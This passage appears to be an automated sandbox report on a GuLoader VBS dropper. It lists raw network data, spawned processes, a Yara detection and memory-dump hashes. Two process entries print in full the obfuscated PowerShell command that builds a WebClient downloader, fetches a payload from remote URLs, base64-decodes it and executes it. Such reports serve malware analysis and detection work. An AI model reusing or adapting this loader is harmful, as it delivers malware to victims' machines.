2024-12-19 11:35:34 UTC	8000	IN	Data Raw: 79 54 62 36 69 42 49 49 79 4f 39 78 6a 37 65 64 41 73 58 4d 74 6d 66 7a 49 61 66 55 63 6e 55 44 37 58 61 63 7a 35 35 31 50 53 46 59 71 79 75 51 4d 79 6a 4e 66 78 58 67 4f 39 4d 41 67 6b 2b 43 6c 38 75 6c 6f 72 46 30 6a 57 4a 57 39 6f 79 4c 52 31 51 58 70 68 63 2b 4e 6c 49 55 77 77 59 63 4b 46 4f 59 75 70 50 44 4c 47 78 6a 6f 79 72 71 6b 45 70 42 39 49 51 61 79 43 64 58 61 6e 62 6f 57 4b 5a 4a 39 49 53 6d 53 66 53 45 70 6b 6e 33 77 56 43 6f 6c 2b 51 55 74 44 6f 51 51 46 69 49 57 30 77 57 72 62 6d 79 31 75 50 55 35 65 37 59 58 37 56 44 6c 4f 4d 34 54 79 42 6f 72 6b 6e 32 62 4b 41 41 49 64 35 66 54 7a 4d 2f 32 45 34 73 34 74 64 4c 76 6f 4e 2b 4f 37 4f 6a 56 45 37 73 77 45 51 73 7a 71 43 64 38 2f 4c 4a 7a 48 44 4f 54 38 66 75 50 42 43 58 49 70 4b 63 36 31 48 Data Ascii: yTb6iBIIyO9xj7edAsXMtmfzIafUcnUD7Xacz551PSFYqyuQMyjNfxXgO9MAgk+Cl8ulorF0jWJW9oyLR1QXphc+NlIUwwYcKFOYupPDLGxjoyrqkEpB9IQayCdXanboWKZJ9ISmSfSEpkn3wVCol+QUtDoQQFiIW0wWrbmy1uPU5e7YX7VDlOM4TyBorkn2bKAAId5fTzM/2E4s4tdLvoN+O7OjVE7swEQszqCd8/LJzHDOT8fuPBCXIpKc61H
2024-12-19 11:35:34 UTC	8000	IN	Data Raw: 61 71 47 52 32 41 45 61 56 4b 72 32 67 64 58 51 57 74 50 54 34 31 6c 4f 55 67 55 48 50 51 2f 4d 47 6c 66 49 50 77 44 57 7a 57 38 48 4c 6f 2f 57 56 6c 53 4b 6c 64 41 53 2f 41 4f 4b 73 53 79 49 5a 33 63 78 79 49 4e 6e 6d 66 53 45 70 6b 6e 30 68 4b 5a 4a 39 49 53 6c 50 6b 70 4f 6e 75 46 78 35 38 69 75 5a 36 4d 55 46 72 7a 6f 62 39 42 47 71 5a 49 35 79 49 54 6d 6c 66 53 45 70 6b 6e 30 68 4b 5a 4a 39 49 53 6c 32 44 50 43 7a 4e 76 65 4f 48 6f 58 48 66 58 39 6c 4b 38 6e 52 54 58 34 68 4a 70 4b 6d 6a 43 6d 53 66 53 45 70 6b 6e 30 68 4b 5a 4a 39 79 2f 4c 46 42 77 70 4d 48 76 53 30 52 4a 42 39 49 5a 50 69 75 35 51 43 45 35 65 65 70 59 6c 79 64 35 63 57 65 6d 31 79 45 34 74 4c 6a 55 74 4b 6f 4d 66 61 36 62 52 46 47 30 76 43 34 45 42 49 4d 2f 42 61 31 74 39 63 52 6f Data Ascii: aqGR2AEaVKr2gdXQWtPT41lOUgUHPQ/MGlfIPwDWzW8HLo/WVlSKldAS/AOKsSyIZ3cxyINnmfSEpkn0hKZJ9ISlPkpOnuFx58iuZ6MUFrzob9BGqZI5yITmlfSEpkn0hKZJ9ISl2DPCzNveOHoXHfX9lK8nRTX4hJpKmjCmSfSEpkn0hKZJ9y/LFBwpMHvS0RJB9IZPiu5QCE5eepYlyd5cWem1yE4tLjUtKoMfa6bRFG0vC4EBIM/Ba1t9cRo
2024-12-19 11:35:34 UTC	8000	IN	Data Raw: 68 35 5a 6a 79 44 63 33 37 7a 49 6a 45 57 67 7a 30 58 42 76 63 77 38 42 58 31 39 44 33 6d 73 63 47 69 66 30 42 44 6b 62 58 39 6d 51 4a 77 63 59 36 48 4e 36 6f 6f 4e 70 65 33 32 52 65 45 35 62 46 4d 4a 76 66 71 43 72 67 66 6c 5a 54 30 6c 66 2b 4f 44 42 70 46 74 48 67 71 50 59 76 46 37 4a 41 34 33 35 54 4f 36 47 59 33 79 35 37 39 2b 6f 42 74 6c 7a 58 6e 4f 44 35 78 4c 6c 79 6c 30 49 46 6e 35 5a 51 48 69 30 6b 65 53 34 6f 59 53 45 68 4b 5a 4a 39 49 53 6d 53 66 53 45 70 6b 72 51 4b 75 74 32 74 2f 68 39 64 6e 32 46 54 59 55 76 6a 4a 68 48 55 53 77 70 33 52 67 2b 5a 35 2b 79 54 68 5a 48 6b 41 45 39 4f 7a 56 47 57 44 6a 31 30 6f 42 38 4f 49 79 6d 53 39 4f 42 35 4b 75 30 50 6a 6a 74 49 41 6d 6a 63 55 42 53 61 2f 4a 53 6c 65 67 37 30 77 69 43 52 34 4b 54 51 34 6e Data Ascii: h5ZjyDc37zIjEWgz0XBvcw8BX19D3mscGif0BDkbX9mQJwcY6HN6ooNpe32ReE5bFMJvfqCrgflZT0lf+ODBpFtHgqPYvF7JA435TO6GY3y579+oBtlzXnOD5xLlyl0IFn5ZQHi0keS4oYSEhKZJ9ISmSfSEpkrQKut2t/h9dn2FTYUvjJhHUSwp3Rg+Z5+yThZHkAE9OzVGWDj10oB8OIymS9OB5Ku0PjjtIAmjcUBSa/JSleg70wiCR4KTQ4n
2024-12-19 11:35:34 UTC	8000	IN	Data Raw: 79 6a 6d 76 64 74 65 51 71 4a 35 59 2b 37 2b 7a 36 63 37 41 72 48 38 58 4e 6a 66 66 71 4f 74 38 7a 51 61 6b 64 5a 47 6f 65 4a 50 38 78 46 42 4c 53 4a 6c 56 4c 49 53 6d 53 66 53 45 70 6b 6e 30 68 4b 5a 4b 30 61 5a 71 71 51 4f 33 76 55 71 73 6f 6d 65 77 75 51 59 5a 57 53 50 70 69 47 58 37 2f 65 50 37 6a 6c 57 72 36 52 49 50 67 6a 57 6d 4f 45 7a 4b 4a 66 33 39 65 72 2f 67 65 49 42 5a 78 77 67 6a 6b 6a 38 7a 62 64 36 66 2f 4c 62 6d 6c 36 34 31 42 33 63 46 47 6f 35 6a 59 5a 73 53 65 67 71 52 43 68 63 63 78 39 6d 66 4b 33 72 69 71 6e 4b 56 2f 49 53 6e 44 78 4d 46 67 4a 77 4f 67 32 4b 51 54 52 6c 6f 54 6a 45 33 68 6b 51 32 67 77 46 39 6a 32 78 59 54 6a 4d 7a 34 52 55 42 7a 74 52 75 66 4b 43 4d 50 52 50 74 59 6b 56 5a 55 49 73 65 73 50 2f 44 6e 72 71 71 47 33 52 Data Ascii: yjmvdteQqJ5Y+7+z6c7ArH8XNjffqOt8zQakdZGoeJP8xFBLSJlVLISmSfSEpkn0hKZK0aZqqQO3vUqsomewuQYZWSPpiGX7/eP7jlWr6RIPgjWmOEzKJf39er/geIBZxwgjkj8zbd6f/Lbml641B3cFGo5jYZsSegqRChccx9mfK3riqnKV/ISnDxMFgJwOg2KQTRloTjE3hkQ2gwF9j2xYTjMz4RUBztRufKCMPRPtYkVZUIsesP/DnrqqG3R
2024-12-19 11:35:34 UTC	8000	IN	Data Raw: 74 61 63 69 43 6c 4e 47 53 66 53 48 57 35 78 55 75 4b 46 75 75 49 53 6d 53 66 53 45 70 6b 6e 30 68 4b 5a 4b 75 52 4d 36 68 68 6b 6c 78 50 6f 68 2f 42 4e 52 47 39 4f 35 57 48 65 54 64 57 44 45 75 72 30 73 70 52 4e 67 65 63 71 73 53 4e 35 56 4b 76 4a 46 39 33 70 78 71 66 53 45 70 65 68 47 34 4b 70 4c 32 70 4e 47 53 66 53 45 6f 57 72 73 68 79 70 31 39 4d 31 61 53 66 53 45 70 6b 6e 30 68 4b 5a 4a 39 49 63 30 51 77 55 64 45 68 47 47 6b 2b 68 4a 4e 65 48 6b 71 31 37 35 39 35 33 68 44 6c 32 4f 49 44 4c 2b 54 2f 51 67 63 35 43 44 6e 61 4d 54 68 71 4d 2b 62 65 37 77 52 53 51 67 77 46 62 7a 31 6f 44 30 38 4f 4e 5a 56 45 6f 56 64 46 48 54 4b 63 6b 57 33 31 70 6d 79 57 6c 50 36 45 55 4d 6a 70 4f 72 4b 73 66 56 64 79 36 74 68 4c 4a 35 4a 34 36 64 55 59 69 78 56 51 73 Data Ascii: taciClNGSfSHW5xUuKFuuISmSfSEpkn0hKZKuRM6hhklxPoh/BNRG9O5WHeTdWDEur0spRNgecqsSN5VKvJF93pxqfSEpehG4KpL2pNGSfSEoWrshyp19M1aSfSEpkn0hKZJ9Ic0QwUdEhGGk+hJNeHkq175953hDl2OIDL+T/Qgc5CDnaMThqM+be7wRSQgwFbz1oD08ONZVEoVdFHTKckW31pmyWlP6EUMjpOrKsfVdy6thLJ5J46dUYixVQs
2024-12-19 11:35:34 UTC	8000	IN	Data Raw: 51 63 42 52 52 30 4b 69 6a 4a 58 46 6d 32 78 76 57 36 68 66 71 6f 4f 69 55 70 46 4d 67 45 35 51 6a 38 4f 42 30 35 69 67 59 53 59 4a 70 45 30 79 33 37 66 4d 65 6f 42 6a 32 59 6c 74 72 71 37 2b 67 47 44 44 4c 46 6f 34 53 67 46 61 6f 55 33 7a 31 6c 4a 72 38 79 4e 52 42 77 43 6e 75 6b 34 43 61 75 63 48 38 58 46 33 6a 4d 69 45 70 6e 66 4c 75 78 6d 32 43 6f 43 6a 4a 4b 51 71 48 45 30 78 6e 75 64 7a 4a 6f 64 43 67 2f 42 44 4a 64 58 4b 77 54 78 65 74 52 36 78 54 75 71 52 6a 6b 48 30 68 53 37 61 4d 2b 4b 67 6e 4e 79 4d 70 6b 6a 75 59 75 36 37 34 2b 36 6a 76 44 59 76 68 6b 6e 30 75 70 45 48 46 49 69 6b 54 79 47 73 72 6b 6e 32 76 50 36 41 75 31 2b 37 77 2f 4b 52 6a 6b 48 30 68 63 4f 62 54 61 4b 78 49 2b 50 4e 6f 62 66 42 72 4b 35 4a 39 56 4e 7a 54 75 69 41 4b 68 57 Data Ascii: QcBRR0KijJXFm2xvW6hfqoOiUpFMgE5Qj8OB05igYSYJpE0y37fMeoBj2Yltrq7+gGDDLFo4SgFaoU3z1lJr8yNRBwCnuk4CaucH8XF3jMiEpnfLuxm2CoCjJKQqHE0xnudzJodCg/BDJdXKwTxetR6xTuqRjkH0hS7aM+KgnNyMpkjuYu674+6jvDYvhkn0upEHFIikTyGsrkn2vP6Au1+7w/KRjkH0hcObTaKxI+PNobfBrK5J9VNzTuiAKhW

Target ID:	0
Start time:	06:35:05
Start date:	19/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\v4BET4inNV.vbs"
Imagebase:	0x7ff7f1590000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:35:08
Start date:	19/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic diskdrive get caption,serialnumber
Imagebase:	0x7ff64d120000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:35:08
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:35:09
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister';;$peacefuller=$host.Name;function Multiplum($Pousserer){If ($peacefuller) {$Exitskiltes=2} for ($Pigesjovet=$Exitskiltes;;$Pigesjovet+=3){if(!$Pousserer[$Pigesjovet]){cls;break }$Vandstande+=$Pousserer[$Pigesjovet];$Fiskeinteressernes='Unmoralises'}$Vandstande}function Unchanneled($Pigesjovetmmunotoxin){ .($instrumentalis) ($Pigesjovetmmunotoxin)}$Kvabserne=Multiplum 'SpnOreActdu.D.W';$Kvabserne+=Multiplum 'AvE bPscMalDeIC ESlnCeT';$Bugfish=Multiplum ' fM.joD.zBeiLalAslF a i/';$Exosperm=Multiplum 'OpTStlSksRa1 .2';$Bagprojektion121='go[.an,oESltAd.OssK e,ar,aV AiGrC,fe OP poslIManTeT.rm rADdNP,a UgDaE,lrv.].j:,u: ,sS EMuCCeuRyrR.iRetK.YBap NRU o Tt UoHect OAnL H= .$ SeRoX lO ssMip nEVaRVam';$Bugfish+=Multiplum 'Ar5R .Kn0.o (gjWFoiP nM.d roBewdrs , VoNStTs Rv1Un0Re.Dr0V,;T UtWstiAnn,e6P,4Br; S Sux 6 N4En;T .urD vSt: E1Pr3Co1r .D.0s )Fl BaG eeR c GkPaoEn/Ja2 s0 U1fu0 C0L,1 l0Ha1Wa oF .iMirMleFufu osuxFo/ M1M 3.k1ny.sn0';$Whitefishery=Multiplum ',iuCiS yeHurVe- oAUngGhEIbN Rt';$Knysten=Multiplum 'Vah it ,t,tp.is S:Fr/Ec/,rwMewSew,i..epGuuBenSpeF.eretSl.,gaS e E/Hei.nt S/AnKKoo Gn utJvrPeaScs nt nrPai .g tsh.L mSes o n>N.hU t t ApCosCo: S/On/ rwL,wBlw U.Prf VtBesH e n hgGei inCaeFieJ rFrs t. .cV o LmP /gei ItCl/MiKCaoOrn otEmrAnaA sTotP r,miByg,itVe.HamB s Eo';$Tikronesedler=Multiplum 'Sm>';$instrumentalis=Multiplum 'SpISpe vX';$Ribboned46='Treater';$fabriksvarerne='\Pharmacists201.Str';Unchanneled (Multiplum 'un$Chg yL uO .BGea VLTi:SisVsAB L aTDvI CNBte Rs T=,n$ E HN.aVA.:GrAOvp ,PSrd CaS,TR aHn+ t$UnfPrASeBUdRMaI KByS EVReAInrA e krRaN oE');Unchanneled (Multiplum 'Af$SpGCaL aoI BElA rLRo:,as JInUs S.jKseeGim rI.lK,pkVoeLilPa= D$D.KSanS.YHaSTit EMenst. s .PboLdiIVit,a(As$U T riEnks,r Uo.aNFeeExsBre ADKolO.E.rRSy)');Unchanneled (Multiplum $Bagprojektion121);$Knysten=$Sjuskemikkel[0];$Thyreoid=(Multiplum ' l$P gN,lSlOF,BHaAPelOv:PeI.oN v aAPoLToIRed FET,f ODaRAasN I akM.R GILenD G U=EnN oE IW -Reo .bKnJNuE dCPuT,c A S rYLaSI,tBreDrm a.H.$ Ak vnoABoB es e PR hnKaE');Unchanneled ($Thyreoid);Unchanneled (Multiplum 'Pr$ PISan v aa l ,i ad eCofthoBirBisT,iRek or i fnPegUn.M HpreCoa dAfe DrSlss [by$ WLah Fi BtF eHef DiAds ohCoeArr yIo]Ce=W $ToBTiuP.g yf ,iF sUnh');$Reedmaker=Multiplum ' r$RaIUsn RvSea,al ai,mdFleAffT oFirK sGliKok PrV,iAvnFrg a.SeDJaoCew AnR,lT.ogra TdScFV i nlAne (De$KaKChnPlyFlsKltA,eQ,nm.,In$ Ap Ge DnMosMiiTiozanKvs,maCildrd IeSurNo)';$pensionsalder=$Saltines;Unchanneled (Multiplum 'eg$MeGF LTeoJabRiAr.LAl:,bK TIh DCeDBeiF.ES SMa=Ga(Get He,rSDitSa-AdpStaShTGehBe ,a$Kop TeLaN,eSB,i o fn sMaARalBeDPoeSeRpa)');while (!$Kiddies) {Unchanneled (Multiplum 'Hy$AngInlP oelbIma FlR,: FUU dSegnoaTevTueSp=Ar$ nP,kiFogDreAks AjMeoEjvR ebetUdn Ut AecarHui umSms alRus nbriStnH.gPh8') ;Unchanneled $Reedmaker;Unchanneled (Multiplum 'I sPlTFoARhR Ht S-Rus nLSte .E yp A U.4');Unchanneled (Multiplum 'Fr$T GOvlGioP.bHyaSnLF.: HkNeIA.dHud AI.eEe SKo=Au(Mat ,EPoSimtFu-MoPTuATrtMah E Ho$ pB EM nf s DiP.OFoNFosNeA LStD,iEsar e)') ;Unchanneled (Multiplum ' V$SkgUdlKao LbAdAI.l o:HyRSpOT,mO B mEClSUn=B,$VogBalG,ORabbiaJolS :AnIMoo oDTeiP.dPrS ,+Fe+Ri%Ki$ SS CJMiUshSPrkS.eDeMtaiAsKNoKrueRiLAn. CCChoU.UDenStT') ;$Knysten=$Sjuskemikkel[$Rombes]}$Balletkorpsets=301384;$Afledtes=28316;Unchanneled (Multiplum 'Fo$Rhg oLMioMubnoaC,lAu: TaMoufrgBoUR sLitFos.eNDed AScg , V.= u pag Be,stBa-UnC,ooSkN Mt SELeNReT.e Pa$,ep aE NSuS ,i SOAsnO,s.baFrL BdSkEpaR');Unchanneled (Multiplum 'Sk$Drg.elJoo,ab taKol S:SeRDkigep PiE eJunRyiSlsSktBu A=Re l[ReS ,y ys MtLre Smhe.lnCGao an v Ce .rHjtNu]Te:Se:etFGarMaoKhm cB.la SsRee .6Un4faS GtaarSui OnTrg r(F $ A Ju UgThususSut HsD nAndAtaTug m)');Unchanneled (Multiplum 'Co$HaGsklFloInbDeaTrLSa:SiEPel ,eD kV T RFuo it eo.KIcN,uIAckE kHiES,rHi In=Mi S [ rSOtyM SOvtH eSnmSp.deTA eAnx ,t.f. E iNnaC roLudBlI,onIng.e] e:b :AgAFjSS C I KISk.BegKleS,t Ns KTPeRS I Sn RG b( x$ .R ,IMapMaiSteS NLeImaSDyTU )');Unchanneled (Multiplum ' .$ScgArlp,oToBO a hLGr:Opb PuT,zDiZ.ma,rRSydFo=Em$DyE el Te rK TR,R oOMaTTrEU.K.hN BISyK.lKSpEF r C. Ns uB BDis FTWurPrIFoNbiGFu( .$ FBR aGeL nLDie nTShK.oOCrRNepKrS VESutJ,sI ,,a$HaAUnf.eLSteluDC.tL ed.sE )');Unchanneled $Buzzard;"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000004.00000002.2428365661.0000017472B4E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:35:09
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:35:39
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister';;$peacefuller=$host.Name;function Multiplum($Pousserer){If ($peacefuller) {$Exitskiltes=2} for ($Pigesjovet=$Exitskiltes;;$Pigesjovet+=3){if(!$Pousserer[$Pigesjovet]){cls;break }$Vandstande+=$Pousserer[$Pigesjovet];$Fiskeinteressernes='Unmoralises'}$Vandstande}function Unchanneled($Pigesjovetmmunotoxin){ .($instrumentalis) ($Pigesjovetmmunotoxin)}$Kvabserne=Multiplum 'SpnOreActdu.D.W';$Kvabserne+=Multiplum 'AvE bPscMalDeIC ESlnCeT';$Bugfish=Multiplum ' fM.joD.zBeiLalAslF a i/';$Exosperm=Multiplum 'OpTStlSksRa1 .2';$Bagprojektion121='go[.an,oESltAd.OssK e,ar,aV AiGrC,fe OP poslIManTeT.rm rADdNP,a UgDaE,lrv.].j:,u: ,sS EMuCCeuRyrR.iRetK.YBap NRU o Tt UoHect OAnL H= .$ SeRoX lO ssMip nEVaRVam';$Bugfish+=Multiplum 'Ar5R .Kn0.o (gjWFoiP nM.d roBewdrs , VoNStTs Rv1Un0Re.Dr0V,;T UtWstiAnn,e6P,4Br; S Sux 6 N4En;T .urD vSt: E1Pr3Co1r .D.0s )Fl BaG eeR c GkPaoEn/Ja2 s0 U1fu0 C0L,1 l0Ha1Wa oF .iMirMleFufu osuxFo/ M1M 3.k1ny.sn0';$Whitefishery=Multiplum ',iuCiS yeHurVe- oAUngGhEIbN Rt';$Knysten=Multiplum 'Vah it ,t,tp.is S:Fr/Ec/,rwMewSew,i..epGuuBenSpeF.eretSl.,gaS e E/Hei.nt S/AnKKoo Gn utJvrPeaScs nt nrPai .g tsh.L mSes o n>N.hU t t ApCosCo: S/On/ rwL,wBlw U.Prf VtBesH e n hgGei inCaeFieJ rFrs t. .cV o LmP /gei ItCl/MiKCaoOrn otEmrAnaA sTotP r,miByg,itVe.HamB s Eo';$Tikronesedler=Multiplum 'Sm>';$instrumentalis=Multiplum 'SpISpe vX';$Ribboned46='Treater';$fabriksvarerne='\Pharmacists201.Str';Unchanneled (Multiplum 'un$Chg yL uO .BGea VLTi:SisVsAB L aTDvI CNBte Rs T=,n$ E HN.aVA.:GrAOvp ,PSrd CaS,TR aHn+ t$UnfPrASeBUdRMaI KByS EVReAInrA e krRaN oE');Unchanneled (Multiplum 'Af$SpGCaL aoI BElA rLRo:,as JInUs S.jKseeGim rI.lK,pkVoeLilPa= D$D.KSanS.YHaSTit EMenst. s .PboLdiIVit,a(As$U T riEnks,r Uo.aNFeeExsBre ADKolO.E.rRSy)');Unchanneled (Multiplum $Bagprojektion121);$Knysten=$Sjuskemikkel[0];$Thyreoid=(Multiplum ' l$P gN,lSlOF,BHaAPelOv:PeI.oN v aAPoLToIRed FET,f ODaRAasN I akM.R GILenD G U=EnN oE IW -Reo .bKnJNuE dCPuT,c A S rYLaSI,tBreDrm a.H.$ Ak vnoABoB es e PR hnKaE');Unchanneled ($Thyreoid);Unchanneled (Multiplum 'Pr$ PISan v aa l ,i ad eCofthoBirBisT,iRek or i fnPegUn.M HpreCoa dAfe DrSlss [by$ WLah Fi BtF eHef DiAds ohCoeArr yIo]Ce=W $ToBTiuP.g yf ,iF sUnh');$Reedmaker=Multiplum ' r$RaIUsn RvSea,al ai,mdFleAffT oFirK sGliKok PrV,iAvnFrg a.SeDJaoCew AnR,lT.ogra TdScFV i nlAne (De$KaKChnPlyFlsKltA,eQ,nm.,In$ Ap Ge DnMosMiiTiozanKvs,maCildrd IeSurNo)';$pensionsalder=$Saltines;Unchanneled (Multiplum 'eg$MeGF LTeoJabRiAr.LAl:,bK TIh DCeDBeiF.ES SMa=Ga(Get He,rSDitSa-AdpStaShTGehBe ,a$Kop TeLaN,eSB,i o fn sMaARalBeDPoeSeRpa)');while (!$Kiddies) {Unchanneled (Multiplum 'Hy$AngInlP oelbIma FlR,: FUU dSegnoaTevTueSp=Ar$ nP,kiFogDreAks AjMeoEjvR ebetUdn Ut AecarHui umSms alRus nbriStnH.gPh8') ;Unchanneled $Reedmaker;Unchanneled (Multiplum 'I sPlTFoARhR Ht S-Rus nLSte .E yp A U.4');Unchanneled (Multiplum 'Fr$T GOvlGioP.bHyaSnLF.: HkNeIA.dHud AI.eEe SKo=Au(Mat ,EPoSimtFu-MoPTuATrtMah E Ho$ pB EM nf s DiP.OFoNFosNeA LStD,iEsar e)') ;Unchanneled (Multiplum ' V$SkgUdlKao LbAdAI.l o:HyRSpOT,mO B mEClSUn=B,$VogBalG,ORabbiaJolS :AnIMoo oDTeiP.dPrS ,+Fe+Ri%Ki$ SS CJMiUshSPrkS.eDeMtaiAsKNoKrueRiLAn. CCChoU.UDenStT') ;$Knysten=$Sjuskemikkel[$Rombes]}$Balletkorpsets=301384;$Afledtes=28316;Unchanneled (Multiplum 'Fo$Rhg oLMioMubnoaC,lAu: TaMoufrgBoUR sLitFos.eNDed AScg , V.= u pag Be,stBa-UnC,ooSkN Mt SELeNReT.e Pa$,ep aE NSuS ,i SOAsnO,s.baFrL BdSkEpaR');Unchanneled (Multiplum 'Sk$Drg.elJoo,ab taKol S:SeRDkigep PiE eJunRyiSlsSktBu A=Re l[ReS ,y ys MtLre Smhe.lnCGao an v Ce .rHjtNu]Te:Se:etFGarMaoKhm cB.la SsRee .6Un4faS GtaarSui OnTrg r(F $ A Ju UgThususSut HsD nAndAtaTug m)');Unchanneled (Multiplum 'Co$HaGsklFloInbDeaTrLSa:SiEPel ,eD kV T RFuo it eo.KIcN,uIAckE kHiES,rHi In=Mi S [ rSOtyM SOvtH eSnmSp.deTA eAnx ,t.f. E iNnaC roLudBlI,onIng.e] e:b :AgAFjSS C I KISk.BegKleS,t Ns KTPeRS I Sn RG b( x$ .R ,IMapMaiSteS NLeImaSDyTU )');Unchanneled (Multiplum ' .$ScgArlp,oToBO a hLGr:Opb PuT,zDiZ.ma,rRSydFo=Em$DyE el Te rK TR,R oOMaTTrEU.K.hN BISyK.lKSpEF r C. Ns uB BDis FTWurPrIFoNbiGFu( .$ FBR aGeL nLDie nTShK.oOCrRNepKrS VESutJ,sI ,,a$HaAUnf.eLSteluDC.tL ed.sE )');Unchanneled $Buzzard;"
Imagebase:	0x6b0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000007.00000002.3350109878.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	06:35:39
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00007FF848E7BF56 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2436659566.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e05d3e44d7b638750b955373e8b79cde43da0bdde4941726a438ea6cb7d5a88
Instruction ID: 4eac9ccfc8f3ec8b5e258bb7984e0ccc813d765b45843326ae79c8ad32949fc4
Opcode Fuzzy Hash: 7e05d3e44d7b638750b955373e8b79cde43da0bdde4941726a438ea6cb7d5a88
Instruction Fuzzy Hash: 27F1943090CA8E8FEBA8EF28C8557E937E1FF55350F04426AD84DC7295DF34A9458B86

Function 00007FF848E7CD02 Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2436659566.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 184935a17c8f5aed56b61cf94473d00d31d823e5629db13d2fe151b1b17c6f2e
Instruction ID: b34e7078ee9f7879ddf5441ebeda41184c6932c117ada4efef2228319d62e3da
Opcode Fuzzy Hash: 184935a17c8f5aed56b61cf94473d00d31d823e5629db13d2fe151b1b17c6f2e
Instruction Fuzzy Hash: 6CE1B230A0CA8E8FEBA8EF28C8557F977D1FB55350F04426AD84DC7295DF74A8458B82

Function 00007FF8490E0B75 Relevance: 13.1, Strings: 10, Instructions: 559COMMON

Download Yara Rule

Strings

(_I, xrefs: 00007FF8490E0E0B
(_I, xrefs: 00007FF8490E0F50
(_I, xrefs: 00007FF8490E0DE2
(_I, xrefs: 00007FF8490E0F27
(_I, xrefs: 00007FF8490E0EFE
(_I, xrefs: 00007FF8490E0FBE
(_I, xrefs: 00007FF8490E0C5A
(_I, xrefs: 00007FF8490E0CAF
(_I, xrefs: 00007FF8490E1045
(_I, xrefs: 00007FF8490E0DB9

Memory Dump Source

Source File: 00000004.00000002.2440595828.00007FF8490E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff8490e0000_powershell.jbxd

Similarity

API ID:
String ID: (_I$(_I$(_I$(_I$(_I$(_I$(_I$(_I$(_I$(_I
API String ID: 0-3457633686
Opcode ID: 4ab1cb7b6efb0a0720c7c592c5fdbad35429d539332c34d2f5076bab2134b54e
Instruction ID: ea30b48c13f196210ef0110ac34766de3340efb9b75d4925c00a0ac7e8dbac88
Opcode Fuzzy Hash: 4ab1cb7b6efb0a0720c7c592c5fdbad35429d539332c34d2f5076bab2134b54e
Instruction Fuzzy Hash: 4A02CE30D1EACA8FEBA9EB2C58256747BE1EF56350B1800BED049C7593DD2DEC468352

Function 00007FF8490E0C39 Relevance: 13.0, Strings: 10, Instructions: 465COMMON

Download Yara Rule

Strings

(_I, xrefs: 00007FF8490E0E0B
(_I, xrefs: 00007FF8490E0F50
(_I, xrefs: 00007FF8490E0DE2
(_I, xrefs: 00007FF8490E0F27
(_I, xrefs: 00007FF8490E0EFE
